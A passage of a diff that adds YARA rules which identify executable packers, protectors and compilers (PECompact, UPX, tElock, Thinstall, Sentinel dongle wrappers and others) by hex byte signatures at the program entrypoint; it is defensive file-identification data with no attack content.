+		$0 = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B D8 53 E8 D4 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 64 56 00 10 E8 25 F6 FF FF B8 64 56 00 10 E8 13 F6 FF FF 8B CF 8B D6 E8 E6 FA FF FF 53 E8 90 FA FF FF 8D 4D EC BA 8C 3C 00 10 A1 64 56 00 10 E8 16 FB FF FF 8B 55 EC B8 64 56 00 10 E8 C5 F4 FF FF B8 64 56 00 10 E8 DB F5 FF FF E8 56 FC FF FF 33 C0 5A 59 59 64 89 10 68 73 3C 00 10 8D 45 EC E8 4D F4 FF FF C3 E9 E3 EE FF FF EB F0 5F 5E 5B E8 4D F3 FF FF 00 53 45 54 ?? ?? ?? ?? 00 FF FF FF FF 08 00 00 00 76 6F 74 72 65 63 6C 65}
+		$1 = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B D8 53 E8 D4 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 64 56 00 10 E8 25 F6 FF FF B8 64 56 00 10 E8 13 F6 FF FF 8B CF 8B D6 E8 E6 FA FF FF 53 E8 90 FA FF FF 8D 4D EC BA 8C 3C 00 10 A1 64 56 00 10 E8 16 FB FF FF 8B 55 EC B8 64 56 00 10 E8 C5 F4 FF FF B8 64 56 00 10 E8 DB F5 FF FF E8 56 FC FF FF 33 C0 5A 59 59 64 89 10 68 73 3C 00 10 8D 45 EC E8 4D F4 FF FF C3 E9 E3 EE FF FF EB F0 5F 5E 5B E8 4D F3 FF FF 00 53 45 54 ?? ?? ?? ?? 00 FF FF FF FF 08 00 00 00 76 6F 74 72 65 63 6C 65}
+		$2 = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _CrypKey_V61X_DLL__CrypKey_Canada_Inc_
+{
+	meta:
+		description = "CrypKey V6.1X DLL -> CrypKey (Canada) Inc."
+	strings:
+		$0 = {83 3D ?? ?? ?? 00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+		$1 = {83 3D ?? ?? ?? ?? 00 75 34 68 ?? ?? ?? ?? E8}
+		$2 = {83 3D ?? ?? ?? ?? 00 75 34 68 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PECompact_v140b5__v140b6_
+{
+	meta:
+		description = "PECompact v1.40b5 - v1.40b6"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 8A 11}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_13X__vcasm_
+{
+	meta:
+		description = "VProtector 1.3X -> vcasm"
+	strings:
+		$0 = {00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 60 8B B4 24 24 00 00 00 8B BC 24 28 00 00 00 FC C6 C2 80 33 DB A4 C6 C3 02 E8 A9 00 00 00 0F 83 F1 FF FF FF 33 C9 E8 9C 00 00 00 0F 83 2D 00 00 00 33 C0 E8 8F 00 00 00 0F 83 37 00 00 00 C6 C3 02 41 C6 C0 10 E8 7D 00 00 00 10 C0 0F 83 F3 FF FF FF}
+		$1 = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 FF FF C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00}
+		$2 = {00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 60 8B B4 24 24 00 00 00 8B BC 24 28 00 00 00 FC C6 C2 80 33 DB A4 C6 C3 02 E8 A9 00 00 00 0F 83 F1 FF FF FF 33 C9 E8 9C 00 00 00 0F 83 2D 00 00 00 33 C0 E8 8F 00 00 00 0F 83 37 00 00 00 C6 C3 02 41 C6 C0 10 E8 7D 00 00 00 10 C0 0F 83 F3 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _NoClip_41_
+{
+	meta:
+		description = "NoClip 4.1"
+	strings:
+		$0 = {FF 26 00 02 9C 50 53 51 8C D8 A3 0C 01 FA 8E D0 FB 81 C4 00 01 FF 16 00 00 EB 01 A1 FF 16 00 00 74 03 E9 86 00 A1 0C 01 03 06 16 01 73 02 83 BF 03 C1 50 B8 4E 03 75 02 FF 1E 50 8B EC BF 70 01 E8 15 10 4F E8 38 10 56 EB 01 A1 B8 00 29 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _HackStop_118_EXE_
+{
+	meta:
+		description = "HackStop 1.18 [EXE]"
+	strings:
+		$0 = {52 BA EB 04 5A EB FB 9A 1E 52 B8 42 30 CD 21 86 C4 3D FD 02 73 02 CD 20 0E 1F 52 BA EB 04 5A EB FB 9A E8 02 00 24 24 5A B4 09 CD 21 52 BA EB 04 5A EB FB 9A EB 02 D8 88 5A 1F 52 BA EB 04 5A EB FB 9A B0 AD E6 64 52 BA EB 04 5A EB FB 9A FA CD}
+	condition:
+		$0 at entrypoint
+}
+rule _Sentinel_UltraPro_Dongle_V110__SafeNet_Inc__SignByfly_
+{
+	meta:
+		description = "Sentinel UltraPro Dongle V1.1.0 -> SafeNet Inc. * Sign.By.fly"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? 85 C0 0F 85 59 06 00 00 55 56 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 05 ?? ?? ?? ?? 25 FE ?? ?? ?? 0D 01 ?? ?? ?? A3 ?? ?? ?? ?? 33 C0 50 C7 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 BD 0F 00 00 83 C4 04 83 F8 64 7C E7 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 8B 4D 00 83 C5 08 ?? ?? ?? ?? ?? ?? ?? 66 8B 75 FA ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 8B 55 FC 81 E1 FF FF 00 00 81 F9}
+	condition:
+		$0 at entrypoint
+}
+rule _Special_EXE_Password_Protector_v10_
+{
+	meta:
+		description = "Special EXE Password Protector v1.0"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77}
+	condition:
+		$0 at entrypoint
+}
+rule _The_Norton_Antivirus_Information_file_
+{
+	meta:
+		description = "The Norton Antivirus Information file"
+	strings:
+		$0 = {54 68 65 20 4E 6F 72 74 6F 6E 20 41 6E 74 69 56 69 72 75 73 20 49 6E 66 6F 72 6D 61 74 69 6F 6E 20 46 69 6C 65}
+	condition:
+		$0 at entrypoint
+}
+rule _PMODEW_121_
+{
+	meta:
+		description = "PMODE/W 1.21"
+	strings:
+		$0 = {FC 16 07 BF 00 01 8B F7 57 B9 05 13 F3 A5 06 1E 07 1F 5F BE 1D 02 06 0E A4 AD 8B E8 B2 10 1E B8 D4 01 50 CB D1 ED FE CA 75 05 AD 8B E8 B2 10 C3 E8 F1 FF 73 0F E8 EC FF 80 D1 01 D0 E1 E8 E4 FF D0 D7 E2 F9 B6 02 B1 04 FE C6 E8 D7 FF 72 1D E2}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_V3104V3332__Thinstall_Company____20080318_
+{
+	meta:
+		description = "Thinstall Virtualization Suite V3.104-V3.332 -> Thinstall Company   * 20080318"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB CC 1A 00 00 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 C8 00 00 00 E8 2C FF FF FF E9 ?? FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 C3 B9 08 00 00 00 E8 01 00 00 00 C3 33 C0 E8 E1 FF FF FF 13 C0 E2 F7 C3 33 C9 41 E8 D4 FF FF FF 13 C9 E8 CD FF FF FF 72 F2 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Sentinel_SuperPro_Dongle_V54200__Rainbow_Technologies__SignByfly_
+{
+	meta:
+		description = "Sentinel SuperPro Dongle V5.42.0.0 -> Rainbow Technologies * Sign.By.fly"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 10 FF 00 00 BB 00 00 00 00 E8 ?? ?? ?? ?? 68 B9 20 FF 00 00 E8 ?? ?? ?? ?? 68 B9 30 FF 00 00 E8 ?? ?? ?? ?? 68 E8 ?? ?? ?? ?? 68 27 F0 10 7F E8 ?? ?? ?? ?? 68 BB 02 00 00 00 E8 ?? ?? ?? ?? 68 07 D4 30 7F E8 ?? ?? ?? ?? 68 BB 01 00 00 00 E8 ?? ?? ?? ?? 68 50 1E DF 80 E8 ?? ?? ?? ?? 68 B9 10 12 00 00 BB 00 00 00 00 E8 ?? ?? ?? ?? 68 B9 20 12 00 00 E8 ?? ?? ?? ?? 68 E8 ?? ?? ?? ?? 68 07 2A A3 00 E8 ?? ?? ?? ?? 68 BB 01 00 00 00 E8 ?? ?? ?? ?? 68 88 B5 5B FF E8 ?? ?? ?? ?? 68 B9 30 12 00 00 BB 00 00 00 00 E8 ?? ?? ?? ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v03__Cyberbob_
+{
+	meta:
+		description = "PESpin v0.3 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V118_Basic_Edition_aPlib_043___ap0x_
+{
+	meta:
+		description = "RLPack V1.18 Basic Edition (aPlib 0.43)  -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v090_
+{
+	meta:
+		description = "PECompact v0.90"
+	strings:
+		$0 = {EB 06 68 ?? ?? 40 00 C3 9C 60 BD ?? ?? 00 00 B9 02 00 00 00 B0 90 8D BD 7A 42 40 00 F3 AA 01 AD D9 43 40 00 FF B5}
+		$1 = {EB 06 68 ?? ?? 40 00 C3 9C 60 BD ?? ?? 00 00 B9 02 00 00 00 B0 90 8D BD 7A 42 40 00 F3 AA 01 AD D9 43 40 00 FF B5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NsPack_V2X__LiuXingPing_
+{
+	meta:
+		description = "NsPack V2.X -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5}
+	condition:
+		$0
+}
+rule _tElock_099c_Private_ECLIPSE__tE_
+{
+	meta:
+		description = "tElock 0.99c (Private ECLIPSE) -> tE!"
+	strings:
+		$0 = {E9 3F DF FF FF 00 00 00 ?? ?? ?? ?? 04 ?? ?? 00 00 00 00 00 00 00 00 00 24 ?? ?? 00 14 ?? ?? 00 0C ?? ?? 00 00 00 00 00 00 00 00 00 31 ?? ?? 00 1C ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00}
+		$1 = {E9 3F DF FF FF 00 00 00 ?? ?? ?? ?? 04 ?? ?? 00 00 00 00 00 00 00 00 00 24 ?? ?? 00 14 ?? ?? 00 0C ?? ?? 00 00 00 00 00 00 00 00 00 31 ?? ?? 00 1C ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65}
+		$2 = {E9 3F DF FF FF 00 00 00 ?? ?? ?? ?? 04 ?? ?? 00 00 00 00 00 00 00 00 00 24 ?? ?? 00 14 ?? ?? 00 0C ?? ?? 00 00 00 00 00 00 00 00 00 31 ?? ?? 00 1C ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _PEQuake_006_by_fORGAT_
+{
+	meta:
+		description = "PEQuake 0.06 by fORGAT"
+	strings:
+		$0 = {E8 A5 00 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 3D ?? 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? 00 00 5B ?? 00 00 6E ?? 00 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_v15_DEMO__FEUERRADERAHTeam_
+{
+	meta:
+		description = "PUNiSHER v1.5 (DEMO) -> FEUERRADER/AHTeam"
+	strings:
+		$0 = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04}
+		$1 = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04 24 EB 04 64 6B 88 18 89 85 9C C2 41 00 EB 04 64 6B 88 18 58 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 C2 50 00 EB D3 5B F3 68 89 5C 24 48 5C 24 58 FF 8D 5C 24 58 5B 83 C3 4C 75 F4 5A 8D 71 78 75 09 81 F3 EB FF 52 BA 01 00 83 EB FC 4A FF 71 0F 75 19 8B 5C 24 00 00 81 33 50 53 8B 1B 0F FF C6 75 1B 81 F3 EB 87 1C 24 8B 8B 04 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 58 EB FF F0 EB FF C0 83 E8 FD EB FF 30 E8 C9 00 00 00 89 E0 EB FF D0 EB FF 71 0F 83 C0 01 EB FF 70 F0 71 EE EB FA EB 83 C0 14 EB FF 70 ED}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NeoLite_200_
+{
+	meta:
+		description = "NeoLite 2.00"
+	strings:
+		$0 = {8B 44 24 04 23 05 00 00 00 00 E8 ED 04 00 00 FE 05 00 00 00 00 FF E0 80 3D 00 00 00 00 00 75 13 90 90 90 90 50 2B C0 E8 D0 04 00 00 58 FE 05 00 00 00 00 C3 94 9A 8D 91 9A 93 CC CD 00 B8 93 90 9D 9E 93 BE 93 93 90 9C 00 B8 93 90 9D 9E 93 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _Safeguard_10__Simonzh_
+{
+	meta:
+		description = "Safeguard 1.0 -> Simonzh"
+	strings:
+		$0 = {E8 00 00 00 00 EB 29}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_CodeSafe_20__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [CodeSafe 2.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85}
+	condition:
+		$0 at entrypoint
+}
+rule _ThinstallVS_3348__Thinstallcom_
+{
+	meta:
+		description = "Thinstall.VS 3.348 -> Thinstall.com"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 ?? ?? ?? ?? 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 2C FF FF FF E9 90 FF FF FF CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 ?? ?? ?? 33 DB BA ?? ?? ?? 80 43 33 C0 E8 19 01 ?? ?? 73 0E 8B 4D F8 E8 27 01 ?? ?? 02 45 F7 AA EB E9 E8 04 01 ?? ?? 0F 82 96 ?? ?? ?? E8 F9 ?? ?? ?? 73 5B B9 04 ?? ?? ?? E8 05 01 ?? ?? 48 74 DE 0F 89 C6 ?? ?? ?? E8 DF ?? ?? ?? 73 1B 55 BD ?? 01 ?? ?? E8 DF ?? ?? ?? 88 07 47 4D 75 F5 E8 C7 ?? ?? ?? 72 E9 5D EB A2 B9 01 ?? ?? ?? E8 D0 ?? ?? ?? 83 C0 07 89 45 F8 C6 45 F7 ?? 83 F8 08 74 89 E8 B1 ?? ?? ?? 88 45 F7 E9 7C FF FF FF B9 07 ?? ?? ?? E8 AA ?? ?? ?? 50 33 C9 B1 02 E8 A0 ?? ?? ?? 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 ?? ?? ?? 89 45 FC E9 48 FF FF FF E8 87 ?? ?? ?? 49 E2 09 8B C3 E8 7D ?? ?? ?? EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D ?? ?? ?? 0B C5 5D 8B D8 E8 5F ?? ?? ?? 3D ?? ?? 01 ?? 73 14 3D FF 37 ?? ?? 73 0E 3D 7F 02 ?? ?? 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 ?? 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 C3 B9 08 ?? ?? ?? E8 01 ?? ?? ?? C3 33 C0 E8 E1 FF FF FF 13 C0 E2 F7 C3 33 C9 41 E8 D4 FF FF FF 13 C9 E8 CD FF FF FF 72 F2 C3 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 11 ?? ?? 5E 11 ?? ?? 70 11 ?? ?? 80 11 ?? ?? 90 11 ?? ?? A0 11 ?? ?? AE 11 ?? ?? BE 11 ?? ?? D4 11 ?? ?? E2 11 ?? ?? F4 11 ?? ?? 06 12 ?? ?? 16 12 ?? ?? 2A 12 ?? ?? 40 12 ?? ?? 52 12 ?? ?? 5E 12 ?? ?? 72 12 ?? ?? 8C 12 ?? ?? 98 12 ?? ?? AA 12 ?? ?? B8 12 ?? ?? C4 12 ?? ?? D6 12 ?? ?? E4 12 ?? ?? FA 12 ?? ?? 14 13 ?? ?? ?? ?? ?? ?? 30 13 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3E 56 C3 47 ?? ?? ?? ?? 02 ?? ?? ?? 5B ?? ?? ?? ?? ?? ?? ?? ?? 1A ?? ?? D8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 22 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3E ?? ?? ?? 70 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 ?? ?? ?? 5E ?? ?? ?? 70 ?? ?? ?? 80 ?? ?? ?? 90 ?? ?? ?? A0 1D ?? ?? AE ?? ?? ?? BE ?? ?? ?? D4 ?? ?? ?? E2 ?? ?? ?? F4 ?? ?? ?? 06 ?? ?? ?? 16 ?? ?? ?? 2A ?? ?? ?? 40 ?? ?? ?? 52 ?? ?? ?? 5E ?? ?? ?? 72 ?? ?? ?? 8C ?? ?? ?? 98 ?? ?? ?? AA ?? ?? ?? B8 ?? ?? ?? C4 ?? ?? ?? D6 ?? ?? ?? E4 ?? ?? ?? FA ?? ?? ?? 14}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_200__Markus__Laszlo_
+{
+	meta:
+		description = "UPX 2.00 -> Markus & Laszlo"
+	strings:
+		$0 = {32 2E 30 30 00 55 50 58}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_MinGW_GCC_2x_
+{
+	meta:
